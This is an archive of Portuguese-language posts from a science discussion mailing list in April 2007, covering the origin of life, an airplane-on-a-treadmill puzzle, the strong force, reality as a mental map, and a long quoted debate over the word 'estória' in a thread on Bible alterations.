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SUBJECT: Re: [ciencialist] o stf e as células tronco
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 01/04/2007 19:55



Parece-me que a questão não foi formulada de forma correta. Vida já existe
no espermatozóide e no óvulo. O que me parece que estão querendo definir é
quando se estrutura de um ser, neste caso, um ser humano.
[]s
José Renato

Léo- Pergunte para o Ferrari e logo saberá que esse "quando" acontece no momento do 'sopro de deus'. Simples assim.

Nota: Era tão bom esse C-List, eu até podia colaborar com algo científico, vez por outra, agora, D.F. (depois de Ferrari), não sei mais o que é definição, existência, fato, quem é deus (pensei que fosse uma entidade mitológica que tinha o poder de criar --- até inventavam a máxima "criação de deus" ---, teoria, tese, lógica, ...... tudo foi prá caixa-prego! D.F. marcou o fim de minha existência --- só me resta vagar por ai......

A probo, estava pensando cá com meus botões se Noé, durante os quarenta dias, não tinha nada para se divertir, fazer etc. Ai pensei, ele ficava pescando, fiquei contente como pescador que sou --- ai caiu a ficha --- ele levou só um casal de minhoca!

aquele abraço,


SUBJECT: Balanço do avião
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 01/04/2007 22:41

Ser� que numa pr�xima oportunidade, que voltar a discuss�o sobre o problema do avi�o se deslocando sobre uma esteira, as pessoas v�o pensar melhor a quest�o ou v�o continuar com as mesmas posi��es? No in�cio havia confus�o e d�vidas. Depois que Luiz apresentou seu esquema, os indecisos se convenceram que voa, Victor e Ricardo entre eles. Takata concluiu que depende. Luiz ficou quieto. Victor e Ricardo calaram. Homero, n�o apegou-se a uma das op�es e fechou-se aos argumentos que apresentei em rela��o a uma outra op��o, at� que desistiu... E o problema se esvaiu sem maiores conclus�es firmadas.
Qual seria o balan�o das opini�es afinal?

1. Voa sim, com o dobro da velocidade da correia.

2. Voa sim, qualquer que seja a velocidade da correia

3. N�o voa, qualquer que seja a velocidade da correia.

4. Voa ou n�o, dependendo do ponto de refer�ncia para a medi��o da velocidade do avi�o: voa quando � medida em rela��o ao solo; n�o voa quando � medida em rela��o � correia.

5. Nenhuma das respostas acima. (Para quem escolher essa op��o, parece-me importante indicar qual seria sua resposta.)

Abra�os

Jos� Renato

[As partes desta mensagem que n�o continham texto foram removidas]



SUBJECT: Re: Takata: Sobre o Método Cientifico - ad infinitum
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 01/04/2007 23:09

--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
> Em campos magnéticos, Takata?
> São fótons virtuais, teóricos ou detectáveis tais como
> ondas-partículas eletromagnéticas?
> Vc tem alguma notícia a dispor sobre isso?
> []s
> José Renato

http://focus.aps.org/story/v17/st19

[]s,

Roberto Takata



SUBJECT: Re: Takata: Sobre o Método Cientifico - Mapa mental
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 02/04/2007 00:35

--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...>
> Takata >>> Oras, mas eu estou pensando agora q estou
> comendo broa de milho.
>
> --- Oras, mas se é mesmo vc que está pensando, então
> me diga: quem é vc? Me diga como faz o que vc afirma
> que faz (pensar)? E porque não pode parar de fazer o
> que afirma que faz (pensar)?

As suas perguntas não tem relação nenhuma com o caso. Vc diz q algo me
faz pensar em comer broa de milho e por isso eu como broa de milho.
Oras eu estou pensando agora q estou comendo broa de milho - algo está
me fazendo pensar em comer broa de milho - e não estou me alimentando.
Logo a realidade não é apenas um mapa mental.

[]s,

Roberto Takata



SUBJECT: Da onde vem a força forte?
FROM: "Joao de Carvalho" <joaobncarvalho@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 02/04/2007 02:50

Da onde vem a força forte?

Da onde vem a força forte? Ela emana do quark, como a força
eletromagnética e a matéria, ou ela brota da interação entre 3 quarks
para formar um próton ou nêutron.

João de Carvalho




SUBJECT: Re: [ciencialist] Alteracoes na Biblia
FROM: "Victor" <jvoneto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 02/04/2007 07:15

Caro Adeilson,

..and so on. Segundo o seu bom texto, subsequente a "...discordo completamente de voce.", o "discordo" não estaria equivocado?
Pois sua prosa somente corrobora as minhas poucas e mal traçadas linhas.
Sds,
Victor.

----- Original Message -----
From: Adeilson Moreira Junior
To: ciencialist@yahoogrupos.com.br
Sent: Saturday, March 31, 2007 12:34 PM
Subject: Re: [ciencialist] Alteracoes na Biblia


Vitor, eu discordo completamente de voce. Se fosse falante de arabe ou mandarim eu ae entenderia a aversao ao ditos estrangeirismos.
Ha casos e casos, porem, a palavra estoria realmente designa uma palavra um pouco mais requintada que folclore. A lingua é uma construcao de vocabulos e significancias costuradas de outros idiomas. Nas bases do nosso portugues estao retalhos anglosaxoes, e portanto, acho hipocrita negar novas palavras provenientes dessa lingua. Se eu, como escritor, sentir necessidade do uso de uma expressao estrangeira para melhor me expressar, usaria, tranquilamente.
Claro, que como eu disse, ha casos e casos. Muitos exageram, mas é comum, penso eu, à todos da lista que nao foi nenhum atentado ao portugues que cometeu nosso colega Vitor.
E infelizmente, apesar de existir o folclore, vou continuar usando estoria. Assim como existe luminaria, mas preferimos usar o abajour...

Adeilson Moreira Junior
----- Original Messa ge -----
From: Silvio Cordeiro
To: ciencialist@yahoogrupos.com.br
Sent: Saturday, March 31, 2007 10:27 AM
Subject: Re: [ciencialist] Alteracoes na Biblia

Vitor:
A pronuncia correta é "is" e não "es" que modernosos usasm para conspurcar a língua: converse com uma pessoa qualquer na rua e faça com que ela use a palavra: ferás a pronúncia correta.
Admiro esse afâ de contestar será por minha pessoa ou realmente detestam os falares de sua Pátria?

sds.,
silvio
----- Original Message -----
From: Victor
To: ciencialist@yahoogrupos.com.br
Sent: Saturday, March 31, 2007 6:49 AM
Subject: Re: [ciencialist] Alteracoes na Biblia

Mestre Sílvius,

Uma palavra escrita é um conjunto de símbolos que expressa os sons que são produzidos por nosso juízo, tantã ou não. Em qualquer ídioma. Varia apenas a forma de grafá-los. Mas, em cada caso, o essencial é isto: fazer-se entender. E não é imperioso que se estabeleçam regras e mais regras, de forma a que esses símbolos se apresentem "politicamente" inseridos num contexto,elegantemente interconectados, e outras saídas do armário associadas, para que as idéias sejam captadas pelos circunstantes! Fiz-me compreender?
Contudo, e não mais que contudo, fui alí e encontrei que a grafia dos sons emitidos por minha vã prosopopéia está grafado como precisamente alí diz:

Michaelis Moderno Dicionário da Língua Portuguesa

. es.tó.ria

sf (gr historía) Narrativa de lendas, contos tradicionais de ficção; ''causo'': ''Ouviram atentos aquelas estórias de mentira, da 'mula-sem-cabeça', do saci, do curupira. Mais tarde tiveram que mergulhar fundo nas histórias de verdade, para saber como foi construído o Brasil'' (Francisco Marins). E. em quadrinhos: série de desenhos, em uma série de quadros, que representam uma estória, com legendas ou sem elas. E. da carochinha: conto da carochinha. Estórias do arco da velha: coisas inverossímeis, inacreditáveis. Estória para boi dormir, gír: conversa enfadonha, com intuito de embair; conversa fiada. Deixar-se de estórias: evitar rodeios, indo logo ao ponto principal.

Ou seja, para exprimir exatamente o que quis dizer, com todo o potencial de minha heresia, nenhuma outra palavra, das que sei, serviria. Somente "estória" é que estaria, como está, corretamente inserida no contexto:
"....a bíblia SEQUER está errada! São estórias prá boi dormir."
De outro modo, não seria eu o bom hereje que sou, ora!
Bem, espero ter contado direitinho a história da estória espinafrada.

Particularmente, não acho francesismos, anglicanismos, e outros frescurismos, sejam "barbarismos" a serem evitados, em qualquer situação. Pior do que prostituir a língua(êpa, língua falada...) é prostituir o juízo do usuário dessa língua, com promessas e mais promessas, com mentiras e o mais associado; é prostituir a sociedade com a neurose justificada e real da falta de segurança, em todas as áreas, sendo a física tão visceralmente atingida quanto qualquer outra, apenas, no momento, mascarada por aquela. Um básico e necessário a um mínimo de conforto nesta curta vida que ainda haveremos de atravessar, é-nos negado, com estórias e mais estórias. Essa é que é a história, o realitiy show, ontem e agora!
Conclusão: a história é bem outra, em curso no dia a dia nosso de cada segundo. E juro que não é estória!

Sds,
Victor.

----- Original Message -----
From: Silvio Cordeiro
To: ciencialist@yahoogrupos.com.br
Sent: Friday, March 30, 2007 9:29 PM
Subject: Re: [ciencialist] Alteracoes na Biblia

"estória" é um barbarismo copiado dos americanos e não tem guarida na nossa língua. O único escritor brasileiro que a usou com propriedade, copiando os falaes do povo do interior é Guimarães Rosa.
Não entendo essa crua necessidade de prostituir o idioma pátrio.

silvio.
----- Original Message -----
From: Victor
To: ciencialist@yahoogrupos.com.br
Sent: Friday, March 30, 2007 9:06 PM
Subject: Re: [ciencialist] Alteracoes na Biblia

Adeilson,

".....acreditaria na mentira, estou certo?"

Em minha opinião você está certíssimo. Claro que noventa e trocentas pessoas acharão que não.
Já estive lá e sei.

Ainda, em minha opinião, e parodiando Pauli. diria: a bíblia SEQUER está errada!. São estórias prá boi dormir.

Sds,
Victor.

----- Original Message -----
From: Adeilson Moreira Junior
To: ciencialist@yahoogrupos.com.br
Sent: Friday, March 30, 2007 7:15 PM
Subject: Re: [ciencialist] Alteracoes na Biblia

Erros eu procuro no sentido de algum dos porta vozes divinos ter escrito uma coisa e , por exemplo, um monge copista ter alterado para adequar aos dogmas catolicos. Nao procuro erros logicos.
Eu passei a me interessar mais pela Biblia de tanto ouvir crentes chorando ao meu ouvido a perfeicao que é a Biblia, que ela conem todas as verdades, que isso, que aquilo...
A Biblia nao é um livro divino. Para mim, é apenas mais uma obra humana, e todo e qualquer estudioso de teologia sabe que a maior parte dela foi escrita a partir de dados orais muito posteriores aos acontecimentos. Alguem aqui ja brincou de telefone sem fio???
A Biblia é uma obra valida, assim como o Corao. Na verdade, quem acredita na Biblia como verdade absoluta, se tivesse nascido, por exemplo, na Arabia Saudita, acreditaria na mentira, estou certo?

----- Original Message -----
From: Luiz Ferraz Netto
To: ciencialist@yahoogrupos.com.br
Sent: Friday, March 30, 2007 5:40 PM
Subject: Re: [ciencialist] Alteracoes na Biblia

Bíblia é uma antologia, uma coletânea de ficção literária no tema 'misticismo'. São narrativas de pensamento, sem qualquer cunho lógico (da matemática) ou científico. Procurar erros em tais narrativas é procurar 'palavras' em dicionários ortográficos.
Se a Bíblia não sofresse alterações para se re-ajustar à época e seus modismos não seria o livro mais vendido do mundo; dogmas não são permanentes! Cada narrativa deve ser alterada para ter um novo sentido condizente com os padrões da população vigente. Cada crente deve consultar a 'bíblia atualizada' assim como cada aluno deve consultar o 'novo dicionário da língua portuguesa'. As 'parábolas' da Bíblia não são da forma y = ax^2+bx+c; se o fossem não sofreriam alterações.
Todavia, sua solicitação é válida e ... nosso cérebro positrônico, modelo vivo das leis robóticas do Bom Doutor, de sobrenome fictício 'Takata', com certeza lhe dará dúzias desses links.

aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Adeilson Moreira Junior" <adeilsonmoreirajr@hotmail.com>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: sexta-feira, 30 de março de 2007 16:29
Assunto: [ciencialist] Alteracoes na Biblia

Algum de voces conhece algum site que trate da Biblia e os erros que ela contem? Sei que durante o processo historico ocorreram muitas alteracoes visando a afirmacao de dogmas da Igreja, porem eu ainda nao consegui encontrar informacoes mais concentradas, somente dados soltos por diversos sites.
Obrigado desde ja,

Adeilson Moreira Junior

[As partes desta mensagem que não continham texto foram removidas]

##### ##### #####

Página de apoio
http://www.ciencialist.com

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Links do Yahoo! Grupos

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SUBJECT: Re: [ciencialist] Alteracoes na Biblia
FROM: "Victor" <jvoneto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 02/04/2007 07:24

Tem razão.
Obrigado. Iria continuar escrevendo herege, com j mesmo.
Também, ninguém é perfeito...

Sds,
Victor.


----- Original Message -----
From: Adeilson Moreira Junior
To: ciencialist@yahoogrupos.com.br
Sent: Saturday, March 31, 2007 12:25 PM
Subject: Re: [ciencialist] Alteracoes na Biblia


Hehehe... La vou eu alfinetar mais uma vez...

Hereje é a palavra que designa o praticante de uma heresia na lingua espanhola. No nosso portugues, a palavra correta é HEREGE...
Vitor, se voce nao parar com esses estrangeirismos eu vou contar para sua mae!!!
Hehehe...
Abracao amigos...

Adeilson Moreira Junior

----- Original Message -----
From: Victor
Subject: Re: [ciencialist] Alteracoes na Biblia

Mestre Sílvius,

Uma palavra escrita é um conjunto de símbolos que expressa os sons que são produzidos por nosso juízo, tantã ou não. Em qualquer ídioma. Varia apenas a forma de grafá-los. Mas, em cada caso, o essencial é isto: fazer-se entender. E não é imperioso que se estabeleçam regras e mais regras, de forma a que esses símbolos se apresentem "politicamente" inseridos num contexto,elegantemente interconectados, e outras saídas do armário associadas, para que as idéias sejam captadas pelos circunstantes! Fiz-me compreender?
Contudo, e não mais que contudo, fui alí e encontrei que a grafia dos sons emitidos por minha vã prosopopéia está grafado como precisamente alí diz:

Michaelis Moderno Dicionário da Língua Portuguesa

. es.tó.ria

sf (gr historía) Narrativa de lendas, contos tradicionais de ficção; ''causo'': ''Ouviram atentos aquelas estórias de mentira, da 'mula-sem-cabeça', do saci, do curupira. Mais tarde tiveram que mergulhar fundo nas histórias de verdade, para saber como foi construído o Brasil'' (Francisco Marins). E. em quadrinhos: série de desenhos, em uma série de quadros, que representam uma estória, com legendas ou sem elas. E. da carochinha: conto da carochinha. Estórias do arco da velha: coisas inverossímeis, inacreditáveis. Estória para boi dormir, gír: conversa enfadonha, com intuito de embair; conversa fiada. Deixar-se de estórias: evitar rodeios, indo logo ao ponto principal.

Ou seja, para exprimir exatamente o que quis dizer, com todo o potencial de minha heresia, nenhuma outra palavra, das que sei, serviria. Somente "estória" é que estaria, como está, corretamente inserida no contexto:
"....a bíblia SEQUER está errada! São estórias prá boi dormir."
De outro modo, não seria eu o bom hereje que sou, ora!
Bem, espero ter contado direitinho a história da estória espinafrada.

Particularmente, não acho francesismos, anglicanismos, e outros frescurismos, sejam "barbarismos" a serem evitados, em qualquer situação. Pior do que prostituir a língua(êpa, língua falada...) é prostituir o juízo do usuário dessa língua, com promessas e mais promessas, com mentiras e o mais associado; é prostituir a sociedade com a neurose justificada e real da falta de segurança, em todas as áreas, sendo a física tão visceralmente atingida quanto qualquer outra, apenas, no momento, mascarada por aquela. Um básico e necessário a um mínimo de conforto nesta curta vida que ainda haveremos de atravessar, é-nos negado, com estórias e mais estórias. Essa é que é a história, o realitiy show, ontem e agora!
Conclusão: a história é bem outra, em curso no dia a dia nosso de cada segundo. E juro que não é estória!

Sds,
Victor.

----- Original Message -----
From: Silvio Cordeiro
To: ciencialist@yahoogrupos.com.br
Sent: Friday, March 30, 2007 9:29 PM
Subject: Re: [ciencialist] Alteracoes na Biblia

"estória" é um barbarismo copiado dos americanos e não tem guarida na nossa língua. O único escritor brasileiro que a usou com propriedade, copiando os falaes do povo do interior é Guimarães Rosa.
Não entendo essa crua necessidade de prostituir o idioma pátrio.

silvio.
----- Original Message -----
From: Victor
To: ciencialist@yahoogrupos.com.br
Sent: Friday, March 30, 2007 9:06 PM
Subject: Re: [ciencialist] Alteracoes na Biblia

Adeilson,

".....acreditaria na mentira, estou certo?"

Em minha opinião você está certíssimo. Claro que noventa e trocentas pessoas acharão que não.
Já estive lá e sei.

Ainda, em minha opinião, e parodiando Pauli. diria: a bíblia SEQUER está errada!. São estórias prá boi dormir.

Sds,
Victor.

----- Original Message -----
From: Adeilson Moreira Junior
To: ciencialist@yahoogrupos.com.br
Sent: Friday, March 30, 2007 7:15 PM
Subject: Re: [ciencialist] Alteracoes na Biblia

Erros eu procuro no sentido de algum dos porta vozes divinos ter escrito uma coisa e , por exemplo, um monge copista ter alterado para adequar aos dogmas catolicos. Nao procuro erros logicos.
Eu passei a me interessar mais pela Biblia de tanto ouvir crentes chorando ao meu ouvido a perfeicao que é a Biblia, que ela conem todas as verdades, que isso, que aquilo...
A Biblia nao é um livro divino. Para mim, é apenas mais uma obra humana, e todo e qualquer estudioso de teologia sabe que a maior parte dela foi escrita a partir de dados orais muito posteriores aos acontecimentos. Alguem aqui ja brincou de telefone sem fio???
A Biblia é uma obra valida, assim como o Corao. Na verdade, quem acredita na Biblia como verdade absoluta, se tivesse nascido, por exemplo, na Arabia Saudita, acreditaria na mentira, estou certo?

----- Original Message -----
From: Luiz Ferraz Netto
To: ciencialist@yahoogrupos.com.br
Sent: Friday, March 30, 2007 5:40 PM
Subject: Re: [ciencialist] Alteracoes na Biblia

Bíblia é uma antologia, uma coletânea de ficção literária no tema 'misticismo'. São narrativas de pensamento, sem qualquer cunho lógico (da matemática) ou científico. Procurar erros em tais narrativas é procurar 'palavras' em dicionários ortográficos.
Se a Bíblia não sofresse alterações para se re-ajustar à época e seus modismos não seria o livro mais vendido do mundo; dogmas não são permanentes! Cada narrativa deve ser alterada para ter um novo sentido condizente com os padrões da população vigente. Cada crente deve consultar a 'bíblia atualizada' assim como cada aluno deve consultar o 'novo dicionário da língua portuguesa'. As 'parábolas' da Bíblia não são da forma y = ax^2+bx+c; se o fossem não sofreriam alterações.
Todavia, sua solicitação é válida e ... nosso cérebro positrônico, modelo vivo das leis robóticas do Bom Doutor, de sobrenome fictício 'Takata', com certeza lhe dará dúzias desses links.

aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
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-----Mensagem Original-----
De: "Adeilson Moreira Junior" <adeilsonmoreirajr@hotmail.com>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: sexta-feira, 30 de março de 2007 16:29
Assunto: [ciencialist] Alteracoes na Biblia

Algum de voces conhece algum site que trate da Biblia e os erros que ela contem? Sei que durante o processo historico ocorreram muitas alteracoes visando a afirmacao de dogmas da Igreja, porem eu ainda nao consegui encontrar informacoes mais concentradas, somente dados soltos por diversos sites.
Obrigado desde ja,

Adeilson Moreira Junior

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SUBJECT: Antes tarde do que nunca
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 02/04/2007 07:25

Olás para todos e todas,

Atrasado, mas com capricho, consegui publicar a aula 5 do curso de
Introdução à Fìsica Básica (http://www.profjc.net/moodle/). Quem está
acompanhando, e quem quiser acompanhar, já pode dar uma olhada. Como
sempre aguardo os comentários importantes de vocês todos (no meu
e-mail, please, profjc@gmail.com ou profjc2003@yahoo.com ou, ainda,
profjc@profjc.net - pois eu não estou tendo tempo de acompanhar a
lista, por isso provavelmente não lerei os comentários feitos
diretamente aqui).

Desde sempre, muito obrigado,
Prof. JC




SUBJECT: Re: [ciencialist] Da onde vem a força forte?
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 02/04/2007 08:42

João,

Vem de mesmo lugar de onde vem todas as outras forças?
Que lugar é este? Se quiser pode chama-lo de vida. Se
preferir outro termo, escolha o seu, termo tem a
granel, fonte de força só tem uma.


sinceramente
ferrri









--- Joao de Carvalho <joaobncarvalho@hotmail.com>
escreveu:

> Da onde vem a força forte?
>
> Da onde vem a força forte? Ela emana do quark, como
> a força
> eletromagnética e a matéria, ou ela brota da
> interação entre 3 quarks
> para formar um próton ou nêutron.
>
> João de Carvalho
>
>
>




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SUBJECT: Re: [ciencialist] Alteracoes na Biblia
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 02/04/2007 09:11

Adeilson:
Embora não encaminhada pra mim, respondo:
Você tem o mais amplo direito de escrever como quiser.
Esistem em nossa língua, regras para a escrita. O neologisto e a doção de palavras estrangeiras não é vedado desde que necessárias. Nas ciências, é caso comum, como o uso, em decadência, por ignorância dos advogados, o uso de expressões latinas, pase de nossa língua e que enriquecem o texto mas dificultam a "tradução" pois já não se aprende escola.
Vc. deu um bom exemplo: quer usar abajur? use!! todo mundo entende, ninguem fara nenhuma crítica pois não comete erro mas apenas um uso irregular de seu escrever. Mas num país em que o Presidente é um analfabeto funcional e que tem uma ministra pregando o racismo dos negros contra os brancos, escrever errado é coisa corriqueira.

um abraço,
silvio.
----- Original Message -----
From: Adeilson Moreira Junior
To: ciencialist@yahoogrupos.com.br
Sent: Saturday, March 31, 2007 12:34 PM
Subject: Re: [ciencialist] Alteracoes na Biblia


Vitor, eu discordo completamente de voce. Se fosse falante de arabe ou mandarim eu ae entenderia a aversao ao ditos estrangeirismos.
Ha casos e casos, porem, a palavra estoria realmente designa uma palavra um pouco mais requintada que folclore. A lingua é uma construcao de vocabulos e significancias costuradas de outros idiomas. Nas bases do nosso portugues estao retalhos anglosaxoes, e portanto, acho hipocrita negar novas palavras provenientes dessa lingua. Se eu, como escritor, sentir necessidade do uso de uma expressao estrangeira para melhor me expressar, usaria, tranquilamente.
Claro, que como eu disse, ha casos e casos. Muitos exageram, mas é comum, penso eu, à todos da lista que nao foi nenhum atentado ao portugues que cometeu nosso colega Vitor.
E infelizmente, apesar de existir o folclore, vou continuar usando estoria. Assim como existe luminaria, mas preferimos usar o abajour...

Adeilson Moreira Junior
----- Original Messa ge -----
From: Silvio Cordeiro
To: ciencialist@yahoogrupos.com.br
Sent: Saturday, March 31, 2007 10:27 AM
Subject: Re: [ciencialist] Alteracoes na Biblia

Vitor:
A pronuncia correta é "is" e não "es" que modernosos usasm para conspurcar a língua: converse com uma pessoa qualquer na rua e faça com que ela use a palavra: ferás a pronúncia correta.
Admiro esse afâ de contestar será por minha pessoa ou realmente detestam os falares de sua Pátria?

sds.,
silvio
----- Original Message -----
From: Victor
To: ciencialist@yahoogrupos.com.br
Sent: Saturday, March 31, 2007 6:49 AM
Subject: Re: [ciencialist] Alteracoes na Biblia

Mestre Sílvius,

Uma palavra escrita é um conjunto de símbolos que expressa os sons que são produzidos por nosso juízo, tantã ou não. Em qualquer ídioma. Varia apenas a forma de grafá-los. Mas, em cada caso, o essencial é isto: fazer-se entender. E não é imperioso que se estabeleçam regras e mais regras, de forma a que esses símbolos se apresentem "politicamente" inseridos num contexto,elegantemente interconectados, e outras saídas do armário associadas, para que as idéias sejam captadas pelos circunstantes! Fiz-me compreender?
Contudo, e não mais que contudo, fui alí e encontrei que a grafia dos sons emitidos por minha vã prosopopéia está grafado como precisamente alí diz:

Michaelis Moderno Dicionário da Língua Portuguesa

. es.tó.ria

sf (gr historía) Narrativa de lendas, contos tradicionais de ficção; ''causo'': ''Ouviram atentos aquelas estórias de mentira, da 'mula-sem-cabeça', do saci, do curupira. Mais tarde tiveram que mergulhar fundo nas histórias de verdade, para saber como foi construído o Brasil'' (Francisco Marins). E. em quadrinhos: série de desenhos, em uma série de quadros, que representam uma estória, com legendas ou sem elas. E. da carochinha: conto da carochinha. Estórias do arco da velha: coisas inverossímeis, inacreditáveis. Estória para boi dormir, gír: conversa enfadonha, com intuito de embair; conversa fiada. Deixar-se de estórias: evitar rodeios, indo logo ao ponto principal.

Ou seja, para exprimir exatamente o que quis dizer, com todo o potencial de minha heresia, nenhuma outra palavra, das que sei, serviria. Somente "estória" é que estaria, como está, corretamente inserida no contexto:
"....a bíblia SEQUER está errada! São estórias prá boi dormir."
De outro modo, não seria eu o bom hereje que sou, ora!
Bem, espero ter contado direitinho a história da estória espinafrada.

Particularmente, não acho francesismos, anglicanismos, e outros frescurismos, sejam "barbarismos" a serem evitados, em qualquer situação. Pior do que prostituir a língua(êpa, língua falada...) é prostituir o juízo do usuário dessa língua, com promessas e mais promessas, com mentiras e o mais associado; é prostituir a sociedade com a neurose justificada e real da falta de segurança, em todas as áreas, sendo a física tão visceralmente atingida quanto qualquer outra, apenas, no momento, mascarada por aquela. Um básico e necessário a um mínimo de conforto nesta curta vida que ainda haveremos de atravessar, é-nos negado, com estórias e mais estórias. Essa é que é a história, o realitiy show, ontem e agora!
Conclusão: a história é bem outra, em curso no dia a dia nosso de cada segundo. E juro que não é estória!

Sds,
Victor.

----- Original Message -----
From: Silvio Cordeiro
To: ciencialist@yahoogrupos.com.br
Sent: Friday, March 30, 2007 9:29 PM
Subject: Re: [ciencialist] Alteracoes na Biblia

"estória" é um barbarismo copiado dos americanos e não tem guarida na nossa língua. O único escritor brasileiro que a usou com propriedade, copiando os falaes do povo do interior é Guimarães Rosa.
Não entendo essa crua necessidade de prostituir o idioma pátrio.

silvio.
----- Original Message -----
From: Victor
To: ciencialist@yahoogrupos.com.br
Sent: Friday, March 30, 2007 9:06 PM
Subject: Re: [ciencialist] Alteracoes na Biblia

Adeilson,

".....acreditaria na mentira, estou certo?"

Em minha opinião você está certíssimo. Claro que noventa e trocentas pessoas acharão que não.
Já estive lá e sei.

Ainda, em minha opinião, e parodiando Pauli. diria: a bíblia SEQUER está errada!. São estórias prá boi dormir.

Sds,
Victor.

----- Original Message -----
From: Adeilson Moreira Junior
To: ciencialist@yahoogrupos.com.br
Sent: Friday, March 30, 2007 7:15 PM
Subject: Re: [ciencialist] Alteracoes na Biblia

Erros eu procuro no sentido de algum dos porta vozes divinos ter escrito uma coisa e , por exemplo, um monge copista ter alterado para adequar aos dogmas catolicos. Nao procuro erros logicos.
Eu passei a me interessar mais pela Biblia de tanto ouvir crentes chorando ao meu ouvido a perfeicao que é a Biblia, que ela conem todas as verdades, que isso, que aquilo...
A Biblia nao é um livro divino. Para mim, é apenas mais uma obra humana, e todo e qualquer estudioso de teologia sabe que a maior parte dela foi escrita a partir de dados orais muito posteriores aos acontecimentos. Alguem aqui ja brincou de telefone sem fio???
A Biblia é uma obra valida, assim como o Corao. Na verdade, quem acredita na Biblia como verdade absoluta, se tivesse nascido, por exemplo, na Arabia Saudita, acreditaria na mentira, estou certo?

----- Original Message -----
From: Luiz Ferraz Netto
To: ciencialist@yahoogrupos.com.br
Sent: Friday, March 30, 2007 5:40 PM
Subject: Re: [ciencialist] Alteracoes na Biblia

Bíblia é uma antologia, uma coletânea de ficção literária no tema 'misticismo'. São narrativas de pensamento, sem qualquer cunho lógico (da matemática) ou científico. Procurar erros em tais narrativas é procurar 'palavras' em dicionários ortográficos.
Se a Bíblia não sofresse alterações para se re-ajustar à época e seus modismos não seria o livro mais vendido do mundo; dogmas não são permanentes! Cada narrativa deve ser alterada para ter um novo sentido condizente com os padrões da população vigente. Cada crente deve consultar a 'bíblia atualizada' assim como cada aluno deve consultar o 'novo dicionário da língua portuguesa'. As 'parábolas' da Bíblia não são da forma y = ax^2+bx+c; se o fossem não sofreriam alterações.
Todavia, sua solicitação é válida e ... nosso cérebro positrônico, modelo vivo das leis robóticas do Bom Doutor, de sobrenome fictício 'Takata', com certeza lhe dará dúzias desses links.

aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Adeilson Moreira Junior" <adeilsonmoreirajr@hotmail.com>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: sexta-feira, 30 de março de 2007 16:29
Assunto: [ciencialist] Alteracoes na Biblia

Algum de voces conhece algum site que trate da Biblia e os erros que ela contem? Sei que durante o processo historico ocorreram muitas alteracoes visando a afirmacao de dogmas da Igreja, porem eu ainda nao consegui encontrar informacoes mais concentradas, somente dados soltos por diversos sites.
Obrigado desde ja,

Adeilson Moreira Junior

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SUBJECT: Re: Takata: Sobre o Método Cientifico - Mapa mental
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 02/04/2007 09:12

Olá Takata!

Takata >>> As suas perguntas não tem relação nenhuma
com o caso.

--- Isto é o que vc pensa que pensa. Claro que tem!
Mas se vc não quer nem pensar em responder as
perguntas, o que posso fazer? Apontar é meu limite.
Ver é por sua conta. Acho um deperdicio de
inteligencia. Vc me parece ser uma das poucas pessoas
aqui que compreender a questão dos mapas mentais e da
realidade. Contudo, como esta questão toca na questão
da identidade, vc tem receio de investigar. Respeito.
Mas acho um desperdicio de inteligencia. Vc não vai
deixar de ser quem vc é, isto é impossivel, apenas vai
perceber o que é ilusão e o que é realidade neste
processo (o pensamento).

Takata >>> Vc diz q algo me faz pensar em comer broa
de milho e por isso eu como broa de milho.

--- Estou indo mais a fundo do que isto. Estou disendo
que algo te faz pensar que existe uma separação entre
vc e a broa de milho. Algo te faz pensar que são
coisas distintas: eu (takata) não sou o outro (broa de
milho). Algo te faz pensar que a broa de milho está lá
e que vc (takata) está aqui. Mas quem é o Takata? O
que é a broa de milho? Vc sabe? Claro que sabe! Se vc
não soubesse não teria como afirmar de que as duas
coisas (takata e broa de milho) existem "ao mesmo
tempo". Porém, vc não quer investigar com profundidade
este fato. Tem algo que impede a investigação deste
fato. E não investigando este fato vc cai
consecutivamente no truque metal da separação. E
caindo, acredita nela. Mas o que é este algo que
impede o Takata de investigar com profundidade o fato,
seria o próprio Takata? E a cobra morde o próprio
rabo, não é?

Takata >>> A realidade não é apenas um mapa mental.

--- Takata, nisto já concordamos. O mapa sempre é de
um território. Se não tem território, como fazer um
mapa do nada? Impossivel. A realidade é o território
desconhecido. É o corpo de deus. Mas não estamos aqui
debatendo sobre a realidade. Estamos debatendo sobre o
"método cientifico". Ou seja, sobre o processo de
mapear o território (deus). E quem cria os mapas, quem
é o mapeador, é cientista, não é? É o pensamento, não
é? Logo, ignorar o processo do pensamento é fazer
ciencia sem saber o que se está fazendo. Como disse ao
homero, é como um computador fazendo calculos, apenas
um processo mecanico, sem autoconsciencia.


sinceramente
ferrari





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SUBJECT: Re: [ciencialist] Alteracoes na Biblia
FROM: Gil <nanolink01@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 02/04/2007 09:29

Adeílson - "Vitor, eu discordo completamente de voce. Se fosse falante de
arabe ou mandarim eu ae entenderia a aversao ao ditos estrangeirismos."

